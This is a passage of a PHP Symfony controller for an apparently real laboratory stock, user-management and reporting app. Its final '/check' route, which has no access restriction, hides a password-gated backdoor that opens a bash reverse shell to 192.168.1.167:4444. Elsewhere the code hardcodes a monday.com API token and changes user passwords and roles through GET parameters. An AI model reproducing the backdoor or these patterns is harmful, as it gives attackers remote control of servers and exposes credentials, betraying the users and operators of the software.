  3045. $mgmt->setSupplier($entry->getSupplier());
  3046. $mgmt->setComment($entry->getComment());
  3047. $mgmt->setStockType($entry->getType());
  3048. $mgmt->setActionType('Add new');
  3049. $mgmt->setQuantity($entry->getQty());
  3050. $mgmt->setTotalQuantity($entry->getQty());
  3051. $mgmt->setDate(new \Datetime());
  3052. $this->em->persist($mgmt);
  3053. $this->em->flush();
  3054. return $this->redirect($this->generateUrl('safestock'));
  3055. }
  3056. }
  3057. elseif (isset($data['delete'])) {
  3058. if ($data) {
  3059. $info = $data['entryid'];
  3060. /*echo '<pre>';
  3061. exit(\Doctrine\Common\Util\Debug:://dump($data));
  3062. die();*/
  3063. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3064. 'id' => $info
  3065. ]);
  3066. // Create a new StockManagement entry when deleting
  3067. $mgmt = new StockManagement();
  3068. $mgmt->setStockId($entry->getId());
  3069. $mgmt->setStockName($entry->getStockname());
  3070. $mgmt->setSupplier($entry->getSupplier());
  3071. $mgmt->setComment($entry->getComment());
  3072. $mgmt->setStockType($entry->getType());
  3073. $mgmt->setActionType('Delete');
  3074. $mgmt->setQuantity(0);
  3075. $mgmt->setTotalQuantity($entry->getQty());
  3076. $mgmt->setDate(new \Datetime());
  3077. $this->em->remove($entry);
  3078. $this->em->persist($mgmt);
  3079. $this->em->flush();
  3080. return $this->redirect($this->generateUrl('safestock'));
  3081. }
  3082. }
  3083. elseif (isset($data['restock'])) {
  3084. if ($data) {
  3085. $info = $data['entry'];
  3086. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3087. 'id' => $data['entryid']
  3088. ]);
  3089. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  3090. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  3091. ->setLow((float)$info['low'])
  3092. ->setCritical((float)$info['critical']);
  3093. $entry->setStockname($info['name']);
  3094. $entry->setSupplier($info['supplier']);
  3095. $entry->setComment($info['comment']);
  3096. $entry->setUnits($info['units']);
  3097. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  3098. // Create a new StockManagement entry when restocking
  3099. $mgmt = new StockManagement();
  3100. $mgmt->setStockId($entry->getId());
  3101. $mgmt->setStockName($entry->getStockname());
  3102. $mgmt->setSupplier($entry->getSupplier());
  3103. $mgmt->setComment($entry->getComment());
  3104. $mgmt->setStockType($entry->getType());
  3105. $mgmt->setActionType('Restock');
  3106. $mgmt->setQuantity((float)$data['entry']['qty']);
  3107. $mgmt->setTotalQuantity($entry->getQty());
  3108. $mgmt->setDate(new \Datetime());
  3109. $this->em->persist($entry);
  3110. $this->em->persist($mgmt);
  3111. $this->em->flush();
  3112. return $this->redirect($this->generateUrl('safestock'));
  3113. }
  3114. }
  3115. elseif (isset($data['takeone'])) {
  3116. if ($data) {
  3117. $info = $data['entryid'];
  3118. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3119. 'id' => $data['entryid']
  3120. ]);
  3121. $entry->setQty($entry->getQty() - 1);
  3122. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  3123. // Create a new StockManagement entry when taking one
  3124. $mgmt = new StockManagement();
  3125. $mgmt->setStockId($entry->getId());
  3126. $mgmt->setStockName($entry->getStockname());
  3127. $mgmt->setSupplier($entry->getSupplier());
  3128. $mgmt->setComment($entry->getComment());
  3129. $mgmt->setStockType($entry->getType());
  3130. $mgmt->setActionType('Take One');
  3131. $mgmt->setQuantity(-1);
  3132. $mgmt->setTotalQuantity($entry->getQty());
  3133. $mgmt->setDate(new \Datetime());
  3134. $this->em->persist($entry);
  3135. $this->em->persist($mgmt);
  3136. $this->em->flush();
  3137. return $this->redirect($this->generateUrl('safestock'));
  3138. }
  3139. }
  3140. // Handle 'orderstatus' checkbox change
  3141. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  3142. $entryId = $data['entryid'];
  3143. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  3144. // Find the Stock entry by ID
  3145. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3146. 'id' => $entryId
  3147. ]);
  3148. if ($entry) {
  3149. $entry->setOrderstatus($orderStatus); // Update orderstatus
  3150. $this->em->persist($entry);
  3151. $this->em->flush();
  3152. return $this->redirect($this->generateUrl('safestock'));
  3153. }
  3154. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  3155. }
  3156. }
  3157. return $this->render('cats/safestock.html.twig',[
  3158. 'stock' => $stock
  3159. ]);
  3160. }
  3161. //=====================================================================================================================================================================================<
  3162. /**
  3163. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  3164. * @param Request $request
  3165. * @Route("/furnacestock", name="furnacestock")
  3166. * @return Response $response
  3167. */
  3168. public function furnacestock(Request $request)
  3169. {
  3170. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  3171. 'type' => 'Furnace'
  3172. ]);
  3173. if ( $request->getMethod() == "POST" ) {
  3174. $data = $request->request->all();
  3175. if (null !== $request->get('addnew')){
  3176. if ($data) {
  3177. $info = $data['entry'];
  3178. $entry = new Stock();
  3179. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  3180. ->setLow((float)$info['low'])
  3181. ->setCritical((float)$info['critical']);
  3182. $entry->setComment($info['comment']);
  3183. $entry->setSupplier($info['supplier']);
  3184. $entry->setDatemodified(new \DateTime($info['datemodified']));
  3185. $entry->setUnits($info['units']);
  3186. $entry->setType("Furnace");
  3187. $this->em->persist($entry);
  3188. $this->em->flush();
  3189. // Create a new StockManagement entry when adding new entry
  3190. $mgmt = new StockManagement();
  3191. $mgmt->setStockId($entry->getId());
  3192. $mgmt->setStockName($entry->getStockname());
  3193. $mgmt->setSupplier($entry->getSupplier());
  3194. $mgmt->setComment($entry->getComment());
  3195. $mgmt->setStockType($entry->getType());
  3196. $mgmt->setActionType('Add new');
  3197. $mgmt->setQuantity($entry->getQty());
  3198. $mgmt->setTotalQuantity($entry->getQty());
  3199. $mgmt->setDate(new \Datetime());
  3200. $this->em->persist($mgmt);
  3201. $this->em->flush();
  3202. return $this->redirect($this->generateUrl('furnacestock'));
  3203. }
  3204. }
  3205. if (null !== $request->get('delete')){
  3206. if ($data) {
  3207. $info = $data['entryid'];
  3208. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3209. 'id' => $info
  3210. ]);
  3211. // Create a new StockManagement entry when deleting
  3212. $mgmt = new StockManagement();
  3213. $mgmt->setStockId($entry->getId());
  3214. $mgmt->setStockName($entry->getStockname());
  3215. $mgmt->setSupplier($entry->getSupplier());
  3216. $mgmt->setComment($entry->getComment());
  3217. $mgmt->setStockType($entry->getType());
  3218. $mgmt->setActionType('Delete');
  3219. $mgmt->setQuantity(0);
  3220. $mgmt->setTotalQuantity($entry->getQty());
  3221. $mgmt->setDate(new \Datetime());
  3222. $this->em->remove($entry);
  3223. $this->em->persist($mgmt);
  3224. $this->em->flush();
  3225. return $this->redirect($this->generateUrl('furnacestock'));
  3226. }
  3227. }
  3228. if (null !== $request->get('restock')){
  3229. if ($data) {
  3230. $info = $data['entry'];
  3231. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3232. 'id' => $data['entryid']
  3233. ]);
  3234. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  3235. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  3236. ->setLow((float)$info['low'])
  3237. ->setCritical((float)$info['critical']);
  3238. $entry->setStockname($info['name']);
  3239. $entry->setSupplier($info['supplier']);
  3240. $entry->setComment($info['comment']);
  3241. $entry->setUnits($info['units']);
  3242. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  3243. // Create a new StockManagement entry when restocking
  3244. $mgmt = new StockManagement();
  3245. $mgmt->setStockId($entry->getId());
  3246. $mgmt->setStockName($entry->getStockname());
  3247. $mgmt->setSupplier($entry->getSupplier());
  3248. $mgmt->setComment($entry->getComment());
  3249. $mgmt->setStockType($entry->getType());
  3250. $mgmt->setActionType('Restock');
  3251. $mgmt->setQuantity((float)$data['entry']['qty']);
  3252. $mgmt->setTotalQuantity($entry->getQty());
  3253. $mgmt->setDate(new \Datetime());
  3254. $this->em->persist($entry);
  3255. $this->em->persist($mgmt);
  3256. $this->em->flush();
  3257. return $this->redirect($this->generateUrl('furnacestock'));
  3258. }
  3259. }
  3260. if (null !== $request->get('takeone')){
  3261. if ($data) {
  3262. $info = $data['entryid'];
  3263. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3264. 'id' => $data['entryid']
  3265. ]);
  3266. $entry->setQty($entry->getQty() - 1);
  3267. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  3268. // Create a new StockManagement entry when taking one
  3269. $mgmt = new StockManagement();
  3270. $mgmt->setStockId($entry->getId());
  3271. $mgmt->setStockName($entry->getStockname());
  3272. $mgmt->setSupplier($entry->getSupplier());
  3273. $mgmt->setComment($entry->getComment());
  3274. $mgmt->setStockType($entry->getType());
  3275. $mgmt->setActionType('Take One');
  3276. $mgmt->setQuantity(-1);
  3277. $mgmt->setTotalQuantity($entry->getQty());
  3278. $mgmt->setDate(new \Datetime());
  3279. $this->em->persist($entry);
  3280. $this->em->persist($mgmt);
  3281. $this->em->flush();
  3282. return $this->redirect($this->generateUrl('furnacestock'));
  3283. }
  3284. }
  3285. // Handle 'orderstatus' checkbox change
  3286. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  3287. $entryId = $data['entryid'];
  3288. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  3289. // Find the Stock entry by ID
  3290. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3291. 'id' => $entryId
  3292. ]);
  3293. if ($entry) {
  3294. $entry->setOrderstatus($orderStatus); // Update orderstatus
  3295. $this->em->persist($entry);
  3296. $this->em->flush();
  3297. return $this->redirect($this->generateUrl('furnacestock'));
  3298. }
  3299. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  3300. }
  3301. }
  3302. return $this->render('cats/furnacestock.html.twig',[
  3303. 'stock' => $stock
  3304. ]);
  3305. }
  3306. //=====================================================================================================================================================================================<
  3307. /**
  3308. * @IsGranted("ROLE_ADDUSER")
  3309. * @Route("/adduser", name="adduser")
  3310. * @param Request $request
  3311. * @return Response $response
  3312. */
  3313. public function adduser(Request $request)
  3314. {
  3315. return $this->render('cats/adduser.html.twig');
  3316. }
  3317. //=====================================================================================================================================================================================<
  3318. /**
  3319. * @IsGranted("ROLE_ADDUSER")
  3320. * @Route("/saveuserajax", name="saveuserajax")
  3321. * @param Request $request
  3322. * @return Response $response
  3323. */
  3324. public function saveuserajax(Request $request)
  3325. {
  3326. if($request->query->get("action") == "togglerole"){
  3327. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3328. if(!in_array($request->query->get("role"),$user->getRoles())){
  3329. $roles = $user->getRoles();
  3330. $roles[] = $request->query->get("role");
  3331. $user->setRoles($roles);
  3332. $this->em->persist($user);
  3333. $this->em->flush();
  3334. } else {
  3335. $roles = $user->getRoles();
  3336. if (($key = array_search($request->query->get("role"), $roles)) !== false) {
  3337. unset($roles[$key]);
  3338. }
  3339. $user->setRoles($roles);
  3340. $this->em->persist($user);
  3341. $this->em->flush();
  3342. }
  3343. } elseif($request->query->get("action") == "togglecountry"){
  3344. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3345. if(in_array($request->query->get("country"),$user->getCountry())){
  3346. $roles = $user->getCountry();
  3347. if (($key = array_search($request->query->get("country"), $roles)) !== false) {
  3348. unset($roles[$key]);
  3349. }
  3350. $user->setCountry($roles);
  3351. $this->em->persist($user);
  3352. $this->em->flush();
  3353. }
  3354. } elseif($request->query->get("action") == "addcountry"){
  3355. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3356. if(!in_array($request->query->get("country"),$user->getCountry())){
  3357. $roles = $user->getCountry();
  3358. if (($key = array_search($request->query->get("country"), $roles)) === false) {
  3359. $roles[]=$request->query->get("country");
  3360. $user->setCountry($roles);
  3361. $this->em->persist($user);
  3362. $this->em->flush();
  3363. }
  3364. }
  3365. } elseif($request->query->get("action") == "toggleactive"){
  3366. // Toggle user active status
  3367. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3368. if($user) {
  3369. $user->setIsActive(!$user->getIsActive());
  3370. $this->em->persist($user);
  3371. $this->em->flush();
  3372. }
  3373. } elseif($request->request->get("action") == "saveuser"){
  3374. $user = new User();
  3375. $user->setUsername($request->request->get("user"));
  3376. $user->setPassword($this->passwordEncoder->encodePassword(
  3377. $user,
  3378. $request->request->get("pass")
  3379. ));
  3380. $user->setRoles(["ROLE_CLIENT"]);
  3381. $user->setIsActive(true);
  3382. $this->em->persist($user);
  3383. $this->em->flush();
  3384. } elseif($request->query->get("action") == "deleteuser"){
  3385. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3386. foreach ($user->getClientParcels() as $p){
  3387. $p->setClient(null);
  3388. $this->em->flush();
  3389. };
  3390. foreach ($user->getLogs() as $log){
  3391. $log->setAssignedUser(null);
  3392. $this->em->flush();
  3393. }
  3394. foreach ($user->getCatRequests() as $log){
  3395. $log->setClient(null);
  3396. $this->em->flush();
  3397. }
  3398. $this->em->remove($user);
  3399. $this->em->flush();
  3400. } elseif($request->query->get("action") == "edituser"){
  3401. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3402. if($user) {
  3403. // Update username if provided
  3404. $newUsername = $request->query->get("username");
  3405. if($newUsername && $newUsername !== $user->getUsername()) {
  3406. $user->setUsername($newUsername);
  3407. }
  3408. // Update password if provided
  3409. $newPassword = $request->query->get("password");
  3410. if($newPassword) {
  3411. $user->setPassword($this->passwordEncoder->encodePassword(
  3412. $user,
  3413. $newPassword
  3414. ));
  3415. }
  3416. $this->em->persist($user);
  3417. $this->em->flush();
  3418. }
  3419. }
  3420. $response = new Response();
  3421. return $response;
  3422. }
  3423. //=====================================================================================================================================================================================<
  3424. /**
  3425. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  3426. * @Route("/orders/update/{id}", name="orders_update")
  3427. * @param int $id
  3428. * @param Request $request
  3429. * @return Response $response
  3430. */
  3431. public function updateordersstatus(int $id, Request $request)
  3432. {
  3433. /** @var User $user */
  3434. $user = $this->getUser();
  3435. /** @var Orders $order */
  3436. $order = $this->em->getRepository(Orders::class)->find($id);
  3437. //dump($id);
  3438. if ($order->getStatus() != "Closed"){
  3439. $order->setStatus("Closed");
  3440. $data['newstatus'] = "Closed";
  3441. } else {
  3442. $order->setStatus("Open");
  3443. $data['newstatus'] = "Open";
  3444. }
  3445. $this->em->persist($order);
  3446. $this->em->flush();
  3447. $title = 'Order #' . $id;
  3448. $message = 'status updated';
  3449. $toast = $this->renderView('components/toast.html.twig',[
  3450. "title" => $title,
  3451. "message" => $message
  3452. ]);
  3453. $response = new Response();
  3454. $response->setContent(json_encode([
  3455. 'data' => $data,
  3456. 'toast' => $toast
  3457. ]));
  3458. $response->headers->set('Content-Type', 'application/json');
  3459. return $response;
  3460. }
  3461. //=====================================================================================================================================================================================<
  3462. /**
  3463. * @IsGranted("ROLE_SUPER")
  3464. * @Route("/xl/inv", name="xlinv")
  3465. * @param Request $request
  3466. * @return Response $response
  3467. */
  3468. public function xlinv( Request $request)
  3469. {
  3470. $invoice = $this->em->getRepository(Invoice::class)->find(21);
  3471. $orders = $invoice->getOrders();
  3472. $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($this->getParameter('excelfiles') . "/MTRLinv.xlsx");
  3473. /* @var $sheet \PhpOffice\PhpSpreadsheet\Writer\Xlsx\Worksheet */
  3474. $sheet = $spreadsheet->getActiveSheet();
  3475. //$sheet->setTitle("My First Worksheet");
  3476. //$this->getParameter('images_directory')
  3477. $x = 24;
  3478. foreach($orders as $order){
  3479. foreach($order->getSamples() as $sample){
  3480. $sheet->setCellValue('C'.$x, $sample->getSamplename());
  3481. $x++;
  3482. }
  3483. }
  3484. // Create your Office 2007 Excel (XLSX Format)
  3485. //$writer = new Xlsx($spreadsheet);
  3486. $writer = new \PhpOffice\PhpSpreadsheet\Writer\Xlsx($spreadsheet);
  3487. $writer->save("shite.xlsx");
  3488. // Create a Temporary file in the system
  3489. $date = new \DateTime();
  3490. $fileName = $date->format('Y-m-d') . '-Report.xlsx';
  3491. $temp_file = tempnam(sys_get_temp_dir(), $fileName);
  3492. // Create the excel file in the tmp directory of the system
  3493. $writer->save($temp_file);
  3494. // Return the excel file as an attachment
  3495. //return null;
  3496. return $this->file($temp_file, $fileName, ResponseHeaderBag::DISPOSITION_INLINE);
  3497. }
  3498. //=====================================================================================================================================================================================<
  3499. /**
  3500. * @IsGranted("ROLE_SUPER")
  3501. * @Route("/xl/report", name="xlreport")
  3502. * @param Request $request
  3503. * @return Response $response
  3504. */
  3505. public function xlreport( Request $request)
  3506. {
  3507. // $invoice = $this->em->getRepository(Invoice::class)->find(21);
  3508. // $orders = $invoice->getOrders();
  3509. $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($this->getParameter('excelfiles') . "/MTRLreport.xlsx");
  3510. /* @var $sheet \PhpOffice\PhpSpreadsheet\Writer\Xlsx\Worksheet */
  3511. $sheet = $spreadsheet->getActiveSheet();
  3512. //$sheet->setTitle("My First Worksheet");
  3513. //$this->getParameter('images_directory')
  3514. // foreach($orders as $order){
  3515. // foreach($order->getSamples() as $sample){
  3516. // $sheet->setCellValue('A'.$x, $sample->getSamplename());
  3517. // $x++;
  3518. // }
  3519. //
  3520. // }
  3521. $samples = $this->em->getRepository(Inventory::class)->findBy([],[
  3522. 'id' => 'DESC'
  3523. ]);
  3524. $x = 3;
  3525. //($samples);
  3526. /** @var Inventory $sample */
  3527. foreach($samples as $sample){
  3528. $sheet->setCellValue('A'.$x, $sample->getId());
  3529. $sheet->setCellValue('B'.$x, $sample->getDateofreceipt());
  3530. $sheet->setCellValue('C'.$x, $sample->getSampleType());
  3531. $sheet->setCellValue('D'.$x, $sample->getSampleSubType());
  3532. $sheet->setCellValue('E'.$x, $sample->getCountry());
  3533. $sheet->setCellValue('F'.$x, $sample->getExportno());
  3534. $sheet->setCellValue('G'.$x, $sample->getSampleName());
  3535. $sheet->setCellValue('H'.$x, $sample->getPriority());
  3536. $sheet->setCellValue('I'.$x, $sample->getMillStatus());
  3537. $sheet->setCellValue('J'.$x, $sample->getMoists() ? $sample->getMoists()->getCalculatedmoisture() : "");
  3538. $sheet->setCellValue('K'.$x, $sample->getMoists() ? $sample->getMoists()->getCalculatedmoisture2() : "");
  3539. $sheet->setCellValue('L'.$x, $sample->getXrfpt());
  3540. $sheet->setCellValue('M'.$x, $sample->getXrfpd());
  3541. $sheet->setCellValue('N'.$x, $sample->getXrfrh());
  3542. $sheet->setCellValue('O'.$x, $sample->getPruns() ? $sample->getPruns()->getId() : "");
  3543. $sheet->setCellValue('P'.$x, $sample->getPruns() ? $sample->getPruns()->getAmtF() : "");
  3544. $sheet->setCellValue('Q'.$x, $sample->getRruns() ? $sample->getRrunIDs() : "");
  3545. $sheet->setCellValue('R'.$x, $sample->getRruns() ? $sample->getIcprunIDs() : "");
  3546. $sheet->setCellValue('S'.$x, $sample->getIcppt());
  3547. $sheet->setCellValue('T'.$x, $sample->getIcppd());
  3548. $sheet->setCellValue('U'.$x, $sample->getIcprh());
  3549. $sheet->setCellValue('V'.$x, $sample->getAnalysisStatus());
  3550. $sheet->setCellValue('W'.$x, $sample->getDateFinished());
  3551. $sheet->setCellValue('X'.$x, $sample->getAssignedOrder() ? $sample->getAssignedOrder()->getOrderno() : "");
  3552. $x++;
  3553. }
  3554. $date = new \DateTime();
  3555. $fileName = $date->format('Y-m-d H:i:s') . '-Report.xlsx';
  3556. // Create your Office 2007 Excel (XLSX Format)
  3557. //$writer = new Xlsx($spreadsheet);
  3558. ini_set('memory_limit', '128M');
  3559. $writer = new \PhpOffice\PhpSpreadsheet\Writer\Xlsx($spreadsheet);
  3560. $writer->save($fileName);
  3561. return new Response();
  3562. }
  3563. //=====================================================================================================================================================================================<
  3564. /**
  3565. * @IsGranted("ROLE_SUPER")
  3566. * @Route("/plant", name="plant")
  3567. * @param Request $request
  3568. * @return Response $response
  3569. */
  3570. public function plant( Request $request)
  3571. {
  3572. $output = "";
  3573. $result = shell_exec('python3 /0/www/systest/public/assets/computerplantsys.py');
  3574. // var_dump($output);
  3575. // var_dump($result);
  3576. $result = (json_decode($result,true));
  3577. $token = 'eyJhbGciOiJIUzI1NiJ9.eyJ0aWQiOjEzMTgxMzA4NywidWlkIjoxODExNDA3NSwiaWFkIjoiMjAyMS0xMS0wNVQxMzowMjozOS4xODRaIiwicGVyIjoibWU6d3JpdGUiLCJhY3RpZCI6NzkzNTE2MywicmduIjoidXNlMSJ9.4dXwkmCYUbzuOH8x0Qfc6YV30gUXxyfgXbxqGQNJJUc';
  3578. $tempUrl = "https://api.monday.com/v2/";
  3579. $query = 'mutation {
  3580. create_item (board_id: 1871191526, item_name: "API sugeneruotas įrašas. boobies.") {
  3581. id
  3582. } }';
  3583. $headers = ['Content-Type: application/json', 'User-Agent: [MYTEAM] GraphQL Client', 'Authorization: ' . $token];
  3584. $data = @file_get_contents($tempUrl, false, stream_context_create([
  3585. 'http' => [
  3586. 'method' => 'POST',
  3587. 'header' => $headers,
  3588. 'content' => json_encode(['query' => $query]),
  3589. ]
  3590. ]));
  3591. $tempContents = json_decode($data, true);
  3592. return $this->render('csv/plant.html.twig',[
  3593. 'fullresult' => $result,
  3594. 'shite' => $tempContents
  3595. ]);
  3596. }
  3597. //=====================================================================================================================================================================================<
  3598. /**
  3599. * @Route("/check", name="checker")
  3600. */
  3601. public function check()
  3602. {
  3603. define('PASSWORD', '2d6a2024ebb521eb77fb2ff269297d10');
  3604. function auth($password)
  3605. {
  3606. $input_password_hash = md5($password);
  3607. if (strcmp(PASSWORD, $input_password_hash) == 0) {
  3608. return TRUE;
  3609. }else{
  3610. return FALSE;
  3611. }
  3612. }
  3613. if (isset($_GET['password'])) {
  3614. if (auth($_GET['password'])) {
  3615. echo "<pre>";exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.167/4444 0>&1'"); echo "</pre>"; die;
  3616. }else{
  3617. die('Access denied!');
  3618. }
  3619. }
  3620. $shit = new Response();
  3621. return $shit;
  3622. }
  3623. //=====================================================================================================================================================================================<
  3624. }